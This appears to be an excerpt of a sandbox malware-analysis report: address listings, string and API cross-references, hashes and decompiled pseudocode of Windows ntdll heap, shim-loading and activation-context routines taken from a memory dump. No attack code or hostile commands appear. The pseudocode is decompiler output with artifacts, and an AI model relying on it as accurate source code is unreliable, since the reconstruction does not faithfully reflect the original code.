0x34ce23e9
0x34ce23f1
0x00000000
0x00000000
0x34ce23f9
0x34ce2402
0x34ce2408
0x34ce240c
0x34ce2413
0x34ce2423
0x34ce243f
0x00000000
0x00000000
0x34ce2441
0x34ce2446
0x34ce2446
0x00000000
0x34ce2446
0x34ce23fb
0x00000000
0x34ce23fb
0x34ce23d2
0x00000000
0x34ce2372
0x34c891be
0x34c89118
0x34c890fd
0x34c89102
0x34c8910e

APIs

RtlDebugPrintTimes.NTDLL ref: 34CE2360

Strings

@wTw, xrefs: 34CE245B
$, xrefs: 34C890B1
@, xrefs: 34C89095

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@$@wTw
API String ID: 3446177414-3270080453
Opcode ID: 24153e89c1794f957e4280a9cc3314ad766eaedc4a2a50cd932f663e74d4bc9d
Instruction ID: 0a01dfdbf4d3d7da4030284ed90ba0a19f1faca7f760d542595569f50283a14d
Opcode Fuzzy Hash: 24153e89c1794f957e4280a9cc3314ad766eaedc4a2a50cd932f663e74d4bc9d
Instruction Fuzzy Hash: 9C811BB5D00269DBDB21CF54CC44BEEB7B9AF08754F0041EAA909B7290E7305E858FA1

Uniqueness

Uniqueness Score: -1.00%

Function 34D2F8F8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E34D2F8F8(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t73;
				signed int _t75;
				signed int _t79;
				intOrPtr _t81;
				signed int _t82;
				signed char _t86;
				signed int _t87;
				intOrPtr _t89;
				intOrPtr _t93;
				intOrPtr _t103;
				signed int _t120;
				signed char _t131;
				intOrPtr _t133;
				signed int _t136;
				signed int _t151;
				signed int* _t154;
				signed int _t158;
				signed int* _t160;
				intOrPtr* _t164;
				void* _t165;

				_push("true");
				_push(0x34d5d2f8);
				L34CD7BE4(__ebx, __edi, __esi);
				 *(_t165 - 0x34) = __edx;
				_t162 = __ecx;
				 *((intOrPtr*)(_t165 - 0x30)) = __ecx;
				_t158 = 0;
				 *(_t165 - 0x28) = 0;
				 *((char*)(_t165 - 0x19)) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t165 - 4)) = 0;
					 *((intOrPtr*)(_t165 - 4)) = 1;
					_t73 = E34C77662("RtlFreeHeap");
					__eflags = _t73;
					if(_t73 == 0) {
						_t158 = 0;
						 *(_t165 - 0x28) = 0;
						L34:
						 *((intOrPtr*)(_t165 - 4)) = 0;
						 *((intOrPtr*)(_t165 - 4)) = 0xfffffffe;
						L34D2FBB7();
						_t75 = _t158;
						goto L35;
					}
					_t131 =  *(__ecx + 0x44) |  *(_t165 - 0x34);
					 *(_t165 - 0x2c) = _t131;
					 *(_t165 - 0x34) = _t131 | 0x10000000;
					__eflags = _t131 & 0x00000001;
					if((_t131 & 0x00000001) == 0) {
						E34C8FED0( *((intOrPtr*)(__ecx + 0xc8)));
						 *((char*)(_t165 - 0x19)) = 1;
						_t120 =  *(_t165 - 0x2c) | 0x10000001;
						__eflags = _t120;
						 *(_t165 - 0x34) = _t120;
					}
					E34D30835(_t162, 0);
					_t151 =  *((intOrPtr*)(_t165 + 8)) + 0xfffffff8;
					__eflags =  *((char*)(_t151 + 7)) - 5;
					if( *((char*)(_t151 + 7)) == 5) {
						_t151 = _t151 - (( *(_t151 + 6) & 0x000000ff) << 3);
						__eflags = _t151;
					}
					 *(_t165 - 0x24) = _t151;
					 *(_t165 - 0x2c) = _t151;
					_t133 = _t162;
					_t79 = E34C7753F(_t133, _t151, "RtlFreeHeap");
					__eflags = _t79;
					if(_t79 == 0) {
						goto L34;
					} else {
						__eflags =  *((intOrPtr*)(_t165 + 8)) -  *0x34d747d0; // 0x0
						_t81 =  *[fs:0x30];
						if(__eflags != 0) {
							_t82 =  *(_t81 + 0x68);
							 *(_t165 - 0x3c) = _t82;
							__eflags = _t82 & 0x00000800;
							if((_t82 & 0x00000800) == 0) {
								L32:
								_t158 = L34C93BC0(_t162,  *(_t165 - 0x34),  *((intOrPtr*)(_t165 + 8)));
								 *(_t165 - 0x28) = _t158;
								E34D30D24( *((intOrPtr*)(_t165 - 0x30)));
								E34D30835( *((intOrPtr*)(_t165 - 0x30)), 0);
								goto L34;
							}
							__eflags =  *0x34d747d4;
							if( *0x34d747d4 == 0) {
								goto L32;
							}
							_t160 =  *(_t165 - 0x2c);
							_t154 =  *(_t165 - 0x24);
							__eflags =  *(_t162 + 0x4c);
							if( *(_t162 + 0x4c) != 0) {
								 *_t160 =  *_t160 ^  *(_t162 + 0x50);
								_t38 =  &(_t154[0]); // 0xffff
								_t39 =  &(_t154[0]); // 0xffffff
								__eflags = _t160[0] - ( *_t38 ^  *_t39 ^  *_t154);
								if(__eflags != 0) {
									_push(_t133);
									E34D3D646(0, _t162, _t160, _t160, _t162, __eflags);
									_t154 =  *(_t165 - 0x24);
								}
							}
							__eflags = _t160[0] & 0x00000002;
							if((_t160[0] & 0x00000002) == 0) {
								_t86 = _t160[0];
								 *(_t165 - 0x1a) = _t86;
								_t87 = _t86 & 0x000000ff;
							} else {
								_t103 = E34CB3AE9(_t160);
								 *((intOrPtr*)(_t165 - 0x40)) = _t103;
								_t87 =  *(_t103 + 2) & 0x0000ffff;
							}
							_t136 = _t87;
							 *(_t165 - 0x20) = _t87;
							__eflags =  *(_t162 + 0x4c);
							if( *(_t162 + 0x4c) != 0) {
								_t51 =  &(_t154[0]); // 0xffff
								_t52 =  &(_t154[0]); // 0xffffff
								_t160[0] =  *_t51 ^  *_t52 ^  *_t154;
								 *_t160 =  *_t160 ^  *(_t162 + 0x50);
								__eflags =  *_t160;
							}
							__eflags = _t136;
							if(_t136 != 0) {
								__eflags = _t136 -  *0x34d747d4; // 0x0
								if(__eflags != 0) {
									goto L32;
								}
								__eflags =  *((intOrPtr*)(_t162 + 0x7c)) -  *0x34d747d6; // 0x0
								if(__eflags != 0) {
									goto L32;
								}
								_t89 =  *[fs:0x30];
								__eflags =  *(_t89 + 0xc);
								if( *(_t89 + 0xc) == 0) {
									_push("HEAP: ");
									E34C7B910();
								} else {
									E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E34D2823A(_t162,  *(_t165 - 0x20)));
								E34C7B910("About to free block at %p with tag %ws\n",  *((intOrPtr*)(_t165 + 8)));
								L30:
								_t93 =  *[fs:0x30];
								__eflags =  *((char*)(_t93 + 2));
								if( *((char*)(_t93 + 2)) != 0) {
									 *0x34d747a1 = 1;
									 *0x34d74100 = 0;
									asm("int3");
									 *0x34d747a1 = 0;
								}
							}
							goto L32;
						}
						__eflags =  *(_t81 + 0xc);
						if( *(_t81 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						E34C7B910("About to free block at %p\n",  *0x34d747d0);
						goto L30;
					}
				} else {
					_t164 =  *0x34d73750; // 0x0
					 *0x34d791e0(__ecx, __edx,  *((intOrPtr*)(_t165 + 8)));
					_t75 =  *_t164() & 0x000000ff;
					L35:
					 *[fs:0x0] =  *((intOrPtr*)(_t165 - 0x10));
					return _t75;
				}
			}

0x34d2f8f8
0x34d2f8fa
0x34d2f8ff
0x34d2f906
0x34d2f909
0x34d2f90b
0x34d2f910
0x34d2f912
0x34d2f915
0x34d2f91f
0x34d2f93e
0x34d2f941
0x34d2f94f
0x34d2f954
0x34d2f956
0x34d2fb8c
0x34d2fb8e
0x34d2fb91
0x34d2fb91
0x34d2fb94
0x34d2fb9b
0x34d2fba0
0x00000000
0x34d2fba0
0x34d2f95f
0x34d2f962
0x34d2f96c
0x34d2f96f
0x34d2f972
0x34d2f97a
0x34d2f97f
0x34d2f986
0x34d2f986
0x34d2f98b
0x34d2f98b
0x34d2f992
0x34d2f99a
0x34d2f99d
0x34d2f9a1
0x34d2f9aa
0x34d2f9aa
0x34d2f9aa
0x34d2f9ac
0x34d2f9af
0x34d2f9b7
0x34d2f9b9
0x34d2f9be
0x34d2f9c0
0x00000000
0x34d2f9c6
0x34d2f9c9
0x34d2f9cf
0x34d2f9d5
0x34d2fa1b
0x34d2fa1e
0x34d2fa21
0x34d2fa26
0x34d2fb2b
0x34d2fb37
0x34d2fb39
0x34d2fb41
0x34d2fb4b
0x00000000
0x34d2fb4b
0x34d2fa2c
0x34d2fa33
0x00000000
0x00000000
0x34d2fa39
0x34d2fa3c
0x34d2fa3f
0x34d2fa42
0x34d2fa47
0x34d2fa49
0x34d2fa4c
0x34d2fa51
0x34d2fa54
0x34d2fa56
0x34d2fa5b
0x34d2fa60
0x34d2fa60
0x34d2fa54
0x34d2fa63
0x34d2fa67
0x34d2fa79
0x34d2fa7c
0x34d2fa7f
0x34d2fa69
0x34d2fa6b
0x34d2fa70
0x34d2fa73
0x34d2fa73
0x34d2fa82
0x34d2fa84
0x34d2fa88
0x34d2fa8b
0x34d2fa8d
0x34d2fa90
0x34d2fa95
0x34d2fa9b
0x34d2fa9b
0x34d2fa9b
0x34d2fa9d
0x34d2faa0
0x34d2faa6
0x34d2faad
0x00000000
0x00000000
0x34d2fab3
0x34d2faba
0x00000000
0x00000000
0x34d2fabc
0x34d2fac2
0x34d2fac5
0x34d2fae4
0x34d2fae9
0x34d2fac7
0x34d2fadc
0x34d2fae1
0x34d2fafa
0x34d2fb03
0x34d2fb0b
0x34d2fb0b
0x34d2fb11
0x34d2fb15
0x34d2fb17
0x34d2fb1e
0x34d2fb24
0x34d2fb25
0x34d2fb25
0x34d2fb15
0x00000000
0x34d2faa0
0x34d2f9d7
0x34d2f9da
0x34d2f9f9
0x34d2f9fe
0x34d2f9dc
0x34d2f9f1
0x34d2f9f6
0x34d2fa0f
0x00000000
0x34d2fa15
0x34d2f921
0x34d2f926
0x34d2f92e
0x34d2f936
0x34d2fba2
0x34d2fba5
0x34d2fbb1
0x34d2fbb1

APIs

RtlDebugPrintTimes.NTDLL ref: 34D2F92E

Strings

About to free block at %p with tag %ws, xrefs: 34D2FAFE
RtlFreeHeap, xrefs: 34D2F948, 34D2F9B2
HEAP[%wZ]: , xrefs: 34D2F9EC, 34D2FAD7
HEAP: , xrefs: 34D2F9F9, 34D2FAE4
About to free block at %p, xrefs: 34D2FA0A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 3446177414-3492000579
Opcode ID: bc08c50e92f99f4c21cc2d32c24accf81233d0c16e2dadfeb6b052a976fc1787
Instruction ID: c413f9026b997798c3446cbb13bd6e8d3cb9e92581f025b61d0f2f2b4faf420b
Opcode Fuzzy Hash: bc08c50e92f99f4c21cc2d32c24accf81233d0c16e2dadfeb6b052a976fc1787
Instruction Fuzzy Hash: 1971F035A01648EFDB02DFA8D4A06ADFBF2FF49308F14849DE495AB252CB319941DF94

Uniqueness

Uniqueness Score: -1.00%

Function 34C76565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184
timeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E34C76565(intOrPtr* __ecx) {
				signed int _v8;
				char _v16;
				char _v92;
				char _v93;
				char _v100;
				signed short _v106;
				char _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t56;
				signed char _t67;
				intOrPtr _t76;
				signed char _t81;
				signed int _t86;
				signed int _t87;
				char _t88;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr* _t110;
				signed int _t111;
				signed int _t112;
				intOrPtr _t113;
				signed int _t114;
				intOrPtr* _t116;
				signed int _t117;
				void* _t118;

				_v8 =  *0x34d7b370 ^ _t117;
				_v93 = 1;
				_t110 = __ecx;
				E34C9E8A6(0, 0x4001,  &_v92);
				_t106 =  *0x7ffe0330;
				_t86 =  *0x34d79200; // 0x0
				_push("true");
				_pop(_t113);
				 *0x34d765f8 = 1;
				_t92 = _t113 - (_t106 & 0x0000001f);
				asm("ror ebx, cl");
				_t87 = _t86 ^ _t106;
				if( *__ecx == 0) {
					L8:
					_t88 = _v93;
					L9:
					if(_v16 != 0) {
						E34CAE7E0(_t92, _v92);
					}
					_t114 =  *0x34d79210; // 0x0
					asm("ror esi, cl");
					 *0x34d791e0();
					 *(_t114 ^  *0x7ffe0330)();
					_t108 =  *0x7ffe0330;
					_t111 =  *0x34d79218; // 0x0
					_push("true");
					asm("ror edi, cl");
					_t112 = _t111 ^  *0x7ffe0330;
					E34C8FED0(0x34d732d8);
					_t98 = 0x34d75d8c;
					if( *0x34d765f0 != 0) {
						_t56 =  *0x34d75d8c; // 0x4982ce0
						while(1) {
							__eflags = _t56 - _t98;
							if(_t56 == _t98) {
								break;
							}
							_v100 = _t56;
							_t39 = _t56 + 0x35;
							 *_t39 =  *(_t56 + 0x35) & 0x000000f7;
							__eflags =  *_t39;
							_t56 =  *_t56;
						}
						goto L11;
					} else {
						L11:
						_t116 =  *0x34d75d8c; // 0x4982ce0
						if( *0x34d765f4 < 2) {
							_t116 =  *_t116;
						}
						if(_t116 == _t98) {
							L15:
							 *0x34d765f0 = 1;
							 *0x34d765f8 = 0;
							E34C8E740(_t98);
							E34C7676F(_t98);
							return L34CC4B50(_t88, _t88, _v8 ^ _t117, _t108, _t112, _t116, 0x34d732d8);
						} else {
							do {
								_v100 = _t116;
								_t108 = _t112;
								_t24 = _t116 + 0x50; // 0x4982ca8
								_t98 =  *_t24;
								E34C76704( *_t24, _t112);
								_t116 =  *_t116;
							} while (_t116 != 0x34d75d8c);
							goto L15;
						}
					}
				} else {
					goto L1;
				}
				do {
					L1:
					E34CC5050(_t92,  &_v108, _t110);
					_t92 = L34C76B45( &_v108,  &_v92, 1,  &_v100);
					if(_t92 < 0) {
						_t67 =  *0x34d737c0; // 0x0
						__eflags = _t67 & 0x00000003;
						if((_t67 & 0x00000003) != 0) {
							_push(_t92);
							E34CFE692("minkernel\\ntdll\\ldrinit.c", 0x8ef, "LdrpLoadShimEngine", 0, "Loading the shim DLL \"%wZ\" failed with status 0x%08lx\n",  &_v108);
							_t67 =  *0x34d737c0; // 0x0
							_t118 = _t118 + 0x1c;
						}
						__eflags = _t67 & 0x00000010;
						if((_t67 & 0x00000010) != 0) {
							asm("int3");
						}
						_v93 = 0;
						goto L6;
					}
					 *(_v100 + 0x34) =  *(_v100 + 0x34) | 0x00000100;
					E34CB7DF6(_v100);
					_t76 = _v100;
					_t103 =  *((intOrPtr*)(_t76 + 0x50));
					_t122 =  *((intOrPtr*)(_t103 + 0x20)) - 7;
					if( *((intOrPtr*)(_t103 + 0x20)) != 7) {
						L5:
						 *0x34d791e0( *((intOrPtr*)(_t76 + 0x18)));
						 *_t87();
						_t92 = _v100;
						E34C9D3E1(_t87, _v100, _t113);
						goto L6;
					}
					_t113 = E34CA16EE(_t87, _t103, _t110, _t113, _t122);
					if(_t113 < 0) {
						_t81 =  *0x34d737c0; // 0x0
						_t88 = 0;
						__eflags = _t81 & 0x00000003;
						if((_t81 & 0x00000003) != 0) {
							_push(_t113);
							E34CFE692("minkernel\\ntdll\\ldrinit.c", 0x909, "LdrpLoadShimEngine", 0, "Initializing the shim DLL \"%wZ\" failed with status 0x%08lx\n",  &_v108);
							_t81 =  *0x34d737c0; // 0x0
						}
						__eflags = _t81 & 0x00000010;
						if((_t81 & 0x00000010) != 0) {
							asm("int3");
						}
						_t92 = _t113;
						E34D01D5E(_t113);
						_push(_t113);
						_push(0xffffffff);
						E34CC2C70();
						_push("true");
						_pop(_t113);
						goto L9;
					}
					_t76 = _v100;
					goto L5;
					L6:
					_t110 = _t110 + ((_v106 & 0x0000ffff) >> 1) * 2;
				} while ( *_t110 != 0);
				_push("true");
				_pop(_t113);
				goto L8;
			}

0x34c76574
0x34c7657d
0x34c76581
0x34c7658b
0x34c76590
0x34c76598
0x34c765a1
0x34c765a3
0x34c765a6
0x34c765ad
0x34c765b1
0x34c765b3
0x34c765b8
0x34c76637
0x34c76637
0x34c7663a
0x34c7663e
0x34c766fa
0x34c766fa
0x34c7664c
0x34c76659
0x34c7665f
0x34c76665
0x34c76667
0x34c7666f
0x34c76678
0x34c7667d
0x34c76684
0x34c76686
0x34c76692
0x34c76697
0x34cd98c3
0x34cd98d3
0x34cd98d3
0x34cd98d5
0x00000000
0x00000000
0x34cd98ca
0x34cd98cd
0x34cd98cd
0x34cd98cd
0x34cd98d1
0x34cd98d1
0x00000000
0x34c7669d
0x34c7669d
0x34c766a4
0x34c766aa
0x34c766ac
0x34c766ac
0x34c766b0
0x34c766c9
0x34c766cb
0x34c766d7
0x34c766dc
0x34c766e1
0x34c766f6
0x34c766b2
0x34c766b2
0x34c766b2
0x34c766b5
0x34c766b7
0x34c766b7
0x34c766ba
0x34c766bf
0x34c766c1
0x00000000
0x34c766b2
0x34c766b0
0x00000000
0x00000000
0x00000000
0x34c765ba
0x34c765ba
0x34c765bf
0x34c765d5
0x34c765d9
0x34cd9835
0x34cd983a
0x34cd983c
0x34cd983e
0x34cd9859
0x34cd985e
0x34cd9863
0x34cd9863
0x34cd9866
0x34cd9868
0x34cd986a
0x34cd986a
0x34cd986d
0x00000000
0x34cd986d
0x34c765e2
0x34c765ec
0x34c765f1
0x34c765f4
0x34c765f7
0x34c765fb
0x34c7660f
0x34c76614
0x34c7661a
0x34c7661c
0x34c7661f
0x00000000
0x34c7661f
0x34c76602
0x34c76606
0x34cd9875
0x34cd987a
0x34cd987c
0x34cd987e
0x34cd9880
0x34cd989a
0x34cd989f
0x34cd98a4
0x34cd98a7
0x34cd98a9
0x34cd98ab
0x34cd98ab
0x34cd98ac
0x34cd98ae
0x34cd98b3
0x34cd98b4
0x34cd98b6
0x34cd98bb
0x34cd98bd
0x00000000
0x34cd98bd
0x34c7660c
0x00000000
0x34c76624
0x34c7662a
0x34c7662f
0x34c76634
0x34c76636
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34C76614
RtlDebugPrintTimes.NTDLL ref: 34C7665F

Strings

Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 34CD9843
LdrpLoadShimEngine, xrefs: 34CD984A, 34CD988B
minkernel\ntdll\ldrinit.c, xrefs: 34CD9854, 34CD9895
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 34CD9885

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: 6003c5bb6870c9105efc05681967e6f602fe152ae3ce8fa0841e200d8597c14c
Instruction ID: f75b574bcfac147333998ab847bff14d252e90a73ffadc1f867068e487844241
Opcode Fuzzy Hash: 6003c5bb6870c9105efc05681967e6f602fe152ae3ce8fa0841e200d8597c14c
Instruction Fuzzy Hash: 6E51E176B003549FEB04EFA8CCA4A9D7BB7EF40324F480169E541FB2A5DA749C45CB44

Uniqueness

Uniqueness Score: -1.00%

Function 34D2ECD7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 34D2EDD0
RtlDebugPrintTimes.NTDLL ref: 34D2EE45

Strings

---------------------------------------, xrefs: 34D2EDF9
Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 34D2EDE3
HEAP: , xrefs: 34D2ECDD
Entry Heap Size , xrefs: 34D2EDED

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
API String ID: 3446177414-1102453626
Opcode ID: 717991ca569d5c6893142c6f51a2fc53675510dab649d32b2c9b4ff27cb258e8
Instruction ID: f957ab59687a7a2ff4c3bf739934d8968fb4ea32305d24d78291cdda64f9bba3
Opcode Fuzzy Hash: 717991ca569d5c6893142c6f51a2fc53675510dab649d32b2c9b4ff27cb258e8
Instruction Fuzzy Hash: 94415879A00225DFDB05CF19C49495ABFF6FF49398B2680ADD448AB321DB31ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 34CADAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84
timeCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E34CADAC0(void* __ecx, intOrPtr _a4) {
				char _v5;
				intOrPtr* _t25;
				char* _t26;
				char _t28;
				intOrPtr _t53;
				intOrPtr* _t55;

				_t53 = _a4;
				_v5 = 0xff;
				if( *((intOrPtr*)(_t53 + 8)) == 0xddeeddee) {
					E34D49109(_t53,  &_v5);
					L5:
					_t25 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
					if(_t25 != 0) {
						if( *_t25 == 0) {
							goto L6;
						}
						_t26 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						L7:
						if( *_t26 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
								E34D3F2AE(_t53);
							}
						}
						_t28 = 1;
						L9:
						return _t28;
					}
					L6:
					_t26 = 0x7ffe0380;
					goto L7;
				}
				if(( *(_t53 + 0x44) & 0x01000000) != 0) {
					_t55 =  *0x34d73768; // 0x0
					 *0x34d791e0(_t53);
					_t28 =  *_t55();
					goto L9;
				}
				if( *((intOrPtr*)(_t53 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E34C7B910();
					} else {
						E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E34C7B910("Invalid heap signature for heap at %p", _t53);
					E34C7B910(", passed to %s", "RtlLockHeap");
					_push("\n");
					E34C7B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x34d747a1 = 1;
						asm("int3");
						 *0x34d747a1 = 0;
					}
					_t28 = 0;
					goto L9;
				} else {
					if(( *(_t53 + 0x40) & 0x00000001) == 0) {
						E34C8FED0( *((intOrPtr*)(_t53 + 0xc8)));
						 *((short*)(_t53 + 0xe8)) =  *((short*)(_t53 + 0xe8)) + 1;
					}
					goto L5;
				}
			}

0x34cadac8
0x34cadacb
0x34cadad6
0x34cef54e
0x34cadb0e
0x34cadb14
0x34cadb19
0x34cef5ee
0x00000000
0x00000000
0x34cef5fd
0x34cadb24
0x34cadb27
0x34cef614
0x34cef61c
0x34cef61c
0x34cef614
0x34cadb2d
0x34cadb2f
0x34cadb31
0x34cadb31
0x34cadb1f
0x34cadb1f
0x00000000
0x34cadb1f
0x34cadae3
0x34cef559
0x34cef561
0x34cef567
0x00000000
0x34cef567
0x34cadaf0
0x34cef578
0x34cef597
0x34cef59c
0x34cef57a
0x34cef58f
0x34cef594
0x34cef5a8
0x34cef5b7
0x34cef5bc
0x34cef5c1
0x34cef5d3
0x34cef5d5
0x34cef5dc
0x34cef5dd
0x34cef5dd
0x34cef5e4
0x00000000
0x34cadaf6
0x34cadafa
0x34cadb02
0x34cadb07
0x34cadb07
0x00000000
0x34cadafa

APIs

RtlDebugPrintTimes.NTDLL ref: 34CEF561

Strings

Invalid heap signature for heap at %p, xrefs: 34CEF5A3
HEAP[%wZ]: , xrefs: 34CEF58A
HEAP: , xrefs: 34CEF597
, passed to %s, xrefs: 34CEF5B2
RtlLockHeap, xrefs: 34CEF5AD

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: 2542ad712854c2e730ca566c60599c148eeb30a0383b77b0f2dec43c4c744620
Instruction ID: 4e3b00200fb37f9dd7412142a9e026625eed2e0a9bf078ca32e5e76c3c060dcf
Opcode Fuzzy Hash: 2542ad712854c2e730ca566c60599c148eeb30a0383b77b0f2dec43c4c744620
Instruction Fuzzy Hash: E8318935202B84EFF752DB29D414B593BEBEF00794F0404C8E44287662CB68A984CF59

Uniqueness

Uniqueness Score: -1.00%

Function 34CB4C3D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117
timeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E34CB4C3D(void* __ecx) {
				char _v8;
				intOrPtr* _t24;
				intOrPtr _t27;
				intOrPtr _t36;
				void* _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t45;
				void* _t47;
				intOrPtr* _t48;
				void* _t49;
				intOrPtr _t51;

				_push(__ecx);
				_t45 = 0;
				_t42 = __ecx;
				_t51 =  *0x34d765e4; // 0x7677f0e0
				if(_t51 == 0) {
					L10:
					return _t45;
				}
				_t40 =  *((intOrPtr*)(__ecx + 0x18));
				_t36 =  *0x34d75b24; // 0x4982ce0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t36) {
					_t24 =  *((intOrPtr*)(_t42 + 0x28));
					if(_t42 == _t36) {
						_push("true");
						_pop(_t47);
						if( *_t24 == _t47) {
							_t39 = 0x3f;
							if( *((intOrPtr*)(_t24 + 2)) == _t39 &&  *((intOrPtr*)(_t24 + 4)) == _t39 &&  *((intOrPtr*)(_t24 + 6)) == _t47 &&  *((intOrPtr*)(_t24 + 8)) != 0 &&  *((short*)(_t24 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t24 + 0xc)) == _t47) {
								_t24 = _t24 + 8;
							}
						}
					}
					_t48 =  *0x34d765e4; // 0x7677f0e0
					 *0x34d791e0(_t40, _t24,  &_v8);
					_t45 =  *_t48();
					if(_t45 >= 0) {
						L8:
						_t27 = _v8;
						if(_t27 != 0) {
							if( *((intOrPtr*)(_t42 + 0x48)) != 0) {
								E34C826A0(_t27,  *((intOrPtr*)(_t42 + 0x48)));
								_t27 = _v8;
							}
							 *((intOrPtr*)(_t42 + 0x48)) = _t27;
						}
						if(_t45 < 0) {
							if(( *0x34d737c0 & 0x00000003) != 0) {
								E34CFE692("minkernel\\ntdll\\ldrsnap.c", 0x2eb, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t45);
							}
							if(( *0x34d737c0 & 0x00000010) != 0) {
								asm("int3");
							}
						}
						goto L10;
					}
					if(_t45 != 0xc000008a) {
						if(_t45 != 0xc000008b && _t45 != 0xc0000089 && _t45 != 0xc000000f && _t45 != 0xc0000204 && _t45 != 0xc0000002) {
							if(_t45 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x34d737c0 & 0x00000005) != 0) {
						_push(_t45);
						_t18 = _t42 + 0x24; // 0x123
						E34CFE692("minkernel\\ntdll\\ldrsnap.c", 0x2ce, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t18);
						_t49 = _t49 + 0x1c;
					}
					_t45 = 0;
					goto L8;
				} else {
					goto L10;
				}
			}

0x34cb4c42
0x34cb4c47
0x34cb4c4a
0x34cb4c4c
0x34cb4c52
0x34cb4cb8
0x34cb4cbe
0x34cb4cbe
0x34cb4c5a
0x34cb4c5d
0x34cb4c69
0x34cb4c6f
0x34cb4c74
0x34cb4cd4
0x34cb4cd6
0x34cb4cda
0x34cf33b9
0x34cf33be
0x34cf33f7
0x34cf33f7
0x34cf33be
0x34cb4cda
0x34cb4c76
0x34cb4c84
